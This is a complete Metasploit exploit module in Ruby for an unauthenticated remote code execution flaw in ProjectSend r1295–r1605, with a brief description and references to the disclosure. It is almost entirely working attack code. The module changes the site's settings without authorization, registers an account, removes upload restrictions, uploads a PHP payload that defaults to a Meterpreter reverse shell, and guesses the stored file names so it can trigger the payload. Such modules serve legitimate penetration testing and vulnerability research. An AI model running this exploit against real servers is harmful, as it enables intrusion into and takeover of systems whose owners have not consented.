This Metasploit module exploits an improper authorization vulnerability in ProjectSend versions r1295 through r1605. The vulnerability allows an unauthenticated attacker to obtain remote code execution by enabling user registration, disabling the whitelist of allowed file extensions, and uploading a malicious PHP file to the server.
e395c3372dc6eda5878d64b4b3e2b759c5bfaffe8d57ca9fdfd36a0bab7bf55b
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::PhpEXE
prepend Msf::Exploit::Remote::AutoCheck
class CSRFRetrievalError < StandardError; end
def initialize(info = {})
super(
update_info(
info,
'Name' => 'ProjectSend r1295 - r1605 Unauthenticated Remote Code Execution',
'Description' => %q{
This module exploits an improper authorization vulnerability in ProjectSend versions r1295 through r1605.
The vulnerability allows an unauthenticated attacker to obtain remote code execution by enabling user registration,
disabling the whitelist of allowed file extensions, and uploading a malicious PHP file to the server.
},
'License' => MSF_LICENSE,
'Author' => [
'Florent Sicchio', # Discovery
'Hugo Clout', # Discovery
'ostrichgolf' # Metasploit module
],
'References' => [
['URL', 'https://github.com/projectsend/projectsend/commit/193367d937b1a59ed5b68dd4e60bd53317473744'],
['URL', 'https://www.synacktiv.com/sites/default/files/2024-07/synacktiv-projectsend-multiple-vulnerabilities.pdf'],
],
'DisclosureDate' => '2024-07-19',
'DefaultTarget' => 0,
'Targets' => [
[
'PHP Command',
{
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Type' => :php_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
}
}
]
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new(
'TARGETURI',
[true, 'The TARGETURI for ProjectSend', '/']
)
]
)
end
def check
# Obtain the current title of the website
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI'], 'index.php')
})
return CheckCode::Unknown('Target is not reachable') unless res
# The title will always contain "»" ("»") regardless of localization. For example: "Log in » ProjectSend"
title_regex = %r{<title>.*?»\s+(.*?)</title>}
original_title = res.body[title_regex, 1]
csrf_token = ''
begin
csrf_token = get_csrf_token
rescue CSRFRetrievalError => e
return CheckCode::Unknown("#{e.class}: #{e}")
end
# Generate a new title for the website
random_new_title = Rex::Text.rand_text_alphanumeric(8)
# Test if the instance is vulnerable by trying to change its title
params = {
'csrf_token' => csrf_token,
'section' => 'general',
'this_install_title' => random_new_title
}
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'),
'keep_cookie' => true,
'vars_post' => params
})
return CheckCode::Unknown('Failed to connect to the provided URL') unless res
# GET request to check if the title updated
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI'], 'index.php')
})
# Extract new title for comparison
updated_title = res.body[title_regex, 1]
if updated_title != random_new_title
return CheckCode::Safe
end
# If the title was changed, it is vulnerable and we should restore the original title
params = {
'csrf_token' => csrf_token,
'section' => 'general',
'this_install_title' => original_title
}
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'),
'keep_cookie' => true,
'vars_post' => params
})
return CheckCode::Appears
end
def get_csrf_token
vprint_status('Extracting CSRF token...')
# Make sure we start from a request with no cookies
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI'], 'index.php'),
'keep_cookies' => true
})
unless res
fail_with(Failure::Unknown, 'No response from server')
end
# Obtain CSRF token
csrf_token = res.get_html_document.xpath('//input[@name="csrf_token"]/@value')&.text
raise CSRFRetrievalError, 'CSRF token not found in the response' if csrf_token.nil? || csrf_token.empty?
vprint_good("Extracted CSRF token: #{csrf_token}")
csrf_token
end
def enable_user_registration_and_auto_approve
csrf_token = ''
begin
csrf_token = get_csrf_token
rescue CSRFRetrievalError => e
fail_with(Failure::UnexpectedReply, "#{e.class}: #{e}")
end
# Enable user registration, automatic approval of new users allow all users to upload files and allow users to delete their own files
params = {
'csrf_token' => csrf_token,
'section' => 'clients',
'clients_can_register' => 1,
'clients_auto_approve' => 1,
'clients_can_upload' => 1,
'clients_can_delete_own_files' => 1,
'clients_auto_group' => 0,
'clients_can_select_group' => 'none',
'expired_files_hide' => '1'
}
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'),
'vars_post' => params
})
# Check if we successfully enabled clients registration
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI'], 'index.php')
})
if res&.code == 200 && res.body.include?('Register as a new client.')
print_good('Client registration successfully enabled')
else
fail_with(Failure::Unknown, 'Could not enable client registration')
end
end
def register_new_user(username, password)
cookie_jar.clear
csrf_token = ''
begin
csrf_token = get_csrf_token
rescue CSRFRetrievalError => e
fail_with(Failure::UnexpectedReply, "#{e.class}: #{e}")
end
# Create a new user with the previously generated username and password
params = {
'csrf_token' => csrf_token,
'name' => username,
'username' => username,
'password' => password,
'email' => Rex::Text.rand_mail_address,
'address' => Rex::Text.rand_text_alphanumeric(8)
}
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], 'register.php'),
'keep_cookie' => true,
'vars_post' => params
})
fail_with(Failure::Unknown, 'Could not create a new user') unless res&.code != 403
print_good("User #{username} created with password #{password}")
end
def disable_upload_restrictions
cookie_jar.clear
csrf_token = ''
begin
csrf_token = get_csrf_token
rescue CSRFRetrievalError => e
fail_with(Failure::UnexpectedReply, "#{e.class}: #{e}")
end
print_status('Disabling upload restrictions...')
# Disable upload restrictions, to allow us to upload our shell
params = {
'csrf_token' => csrf_token,
'section' => 'security',
'file_types_limit_to' => 'noone'
}
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'),
'keep_cookie' => true,
'vars_post' => params
})
end
def login(username, password)
cookie_jar.clear
csrf_token = ''
begin
csrf_token = get_csrf_token
rescue CSRFRetrievalError => e
fail_with(Failure::UnexpectedReply, "#{e.class}: #{e}")
end
print_status("Logging in as #{username}...")
# Attempt to login as our newly created user
params = {
'csrf_token' => csrf_token,
'do' => 'login',
'username' => username,
'password' => password
}
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], 'index.php'),
'vars_post' => params,
'keep_cookies' => true
})
# Version r1295 does not set a cookie on login, instead we check for a redirect to the expected page indicating a successful login
if res&.headers&.[]('Set-Cookie') || (res&.code == 302 && res&.headers&.[]('Location')&.include?('/my_files/index.php'))
print_good("Logged in as #{username}")
return csrf_token
else
fail_with(Failure::NoAccess, 'Failed to authenticate. This can happen, you should try to execute the exploit again')
end
end
def upload_file(username, password, filename)
login(username, password)
# Craft the payload
payload = get_write_exec_payload(unlink_self: true)
data = Rex::MIME::Message.new
data.add_part(filename, nil, nil, 'form-data; name="name"')
data.add_part(payload, 'application/octet-stream', nil, "form-data; name=\"file\"; filename=\"#{Rex::Text.rand_text_alphanumeric(8)}\"")
post_data = data.to_s
# Upload the shell using a POST request
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], 'includes', 'upload.process.php'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data,
'keep_cookies' => true
})
# Check if the server confirms our upload as successful
if res && res.body.include?('"OK":1')
print_good("Successfully uploaded PHP file: #{filename}")
json_response = res.get_json_document
@file_id = json_response.dig('info', 'id')
return res.headers['Date']
else
fail_with(Failure::Unknown, 'PHP file upload failed')
end
end
def calculate_potential_filenames(username, upload_time, filename)
# Hash the username
hashed_username = Digest::SHA1.hexdigest(username)
# Parse the upload time
base_time = Time.parse(upload_time).utc
# Array to store all possible URLs
possible_urls = []
# Iterate over all timezones
(-12..14).each do |timezone|
# Update the variable to reflect the currently looping timezone
adj_time = base_time + (timezone * 3600)
# Insert the potential URL into our array
possible_urls << "#{adj_time.to_i}-#{hashed_username}-#{filename}"
end
possible_urls
end
def cleanup
super
# Delete uploaded file
if @file_id
cookie_jar.clear
csrf_token = login(@username, @password)
# Delete our uploaded payload from the portal
params = {
'csrf_token' => csrf_token,
'action' => 'delete',
'batch[]' => @file_id
}
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], 'manage-files.php'),
'vars_post' => params,
'keep_cookies' => true
})
# Version r1295 uses a GET request to delete the uploaded file
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI'], 'manage-files.php'),
'keep_cookies' => true,
'vars_get' => {
'action' => 'delete',
'batch[]' => @file_id
}
})
end
cookie_jar.clear
csrf_token = ''
begin
csrf_token = get_csrf_token
rescue CSRFRetrievalError => e
fail_with(Failure::UnexpectedReply, "#{e.class}: #{e}")
end
# Disable user registration, automatic approval of new users, disallow all users to upload files and prevent users from deleting their own files
params = {
'csrf_token' => csrf_token,
'section' => 'clients',
'clients_can_register' => 0,
'clients_auto_approve' => 0,
'clients_can_upload' => 0,
'clients_can_delete_own_files' => 0
}
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'),
'vars_post' => params
})
# Check if we successfully disabled client registration
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI'], 'index.php')
})
if res&.body&.include?('Register as a new client.')
fail_with(Failure::Unknown, 'Could not disable client registration')
end
print_good('Client registration successfully disabled')
print_status('Enabling upload restrictions...')
# Enable upload restrictions for every user
params = {
'csrf_token' => csrf_token,
'section' => 'security',
'file_types_limit_to' => 'all'
}
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'),
'vars_post' => params
})
end
def trigger_shell(potential_urls)
# Visit each URL, to trigger our payload
potential_urls.each do |url|
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI'], 'upload', 'files', url)
}, 1)
end
end
def exploit
enable_user_registration_and_auto_approve
username = Faker::Internet.username
password = Rex::Text.rand_text_alphanumeric(8)
filename = Rex::Text.rand_text_alphanumeric(8) + '.php'
# Set instance variables for cleanup function
@username = username
@password = password
register_new_user(username, password)
disable_upload_restrictions
upload_time = upload_file(username, password, filename)
potential_urls = calculate_potential_filenames(username, upload_time, filename)
trigger_shell(potential_urls)
end
end